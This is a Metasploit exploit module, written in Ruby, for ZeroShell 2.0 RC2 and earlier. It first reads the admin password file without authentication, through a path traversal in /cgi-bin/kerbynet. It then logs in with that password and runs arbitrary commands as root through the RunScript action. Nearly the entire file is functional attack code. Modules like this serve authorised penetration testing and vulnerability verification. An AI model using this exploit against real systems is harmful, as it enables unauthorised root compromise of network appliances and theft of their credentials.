ZeroShell Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "ZeroShell Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
          It will leverage an unauthenticated local file inclusion vulnerability in the
          "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
          This file contains the admin password in cleartext. The password is used to login
          as the admin user. After the authentication process is complete it will use the
          RunScript action to execute the payload with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yann CAM', # Discovery, PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2009-0545' ],
          [ 'PACKETSTORM', '122799' ]
        ],
        'Platform' => ['linux'],
        'Arch' => ARCH_X86,
        'Targets' => [
          ['ZeroShell 2.0 RC2', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2013-09-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
      ]
    )
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def uri
    return target_uri.path
  end

  def check
    # Check version
    print_status("Trying to detect ZeroShell")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri)
    })

    if res and res.code == 200 and res.body =~ /ZeroShell/
      print_good("ZeroShell detected")
    end

    unless password.nil?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  # Retrieve admin password using unauthenticated LFI
  def password
    rootpw = "../../../var/register/system/ldap/rootpw"
    print_status("Retrieving cleartext admin password")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_get' => {
        'Section' => "NoAuthREQ",
        'Action' => "Render",
        'Object' => rootpw
      }
    })

    if res and res.code == 200 and res.body !~ /not found/
      res.body =~ /^(.*)$/
      pass = $1
      print_status("Password retrieved [ #{pass} ]")
      return pass
    else
      return nil
    end
  end

  # Login using the retrieved password and grab the session key from the response body.
  def login(admin_password)
    print_status("Log in and retrieving session key")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_post' => {
        'Action' => "StartSessionSubmit",
        'User' => "admin",
        'PW' => admin_password
      }
    })

    if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
      sessionkey = $1
      print_status("Session key retrieved [ #{sessionkey} ]")
      return sessionkey
    else
      fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
    end
  end

  # The RunScript action will run shell commands directly with root privileges.
  def execute_command(cmd, opts)
    script_name = rand_text_alphanumeric(8)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_post' => {
        'Action' => "RunScript",
        'Section' => "Setup",
        'STk' => @session,
        'ScriptName' => script_name,
        'Script' => cmd + '&'
      }
    })

    if res and res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  end

  def exploit
    admin_password = password
    if admin_password.nil?
      fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
    end

    @session = login(admin_password)

    execute_cmdstager({ :flavor => :echo })
  end
end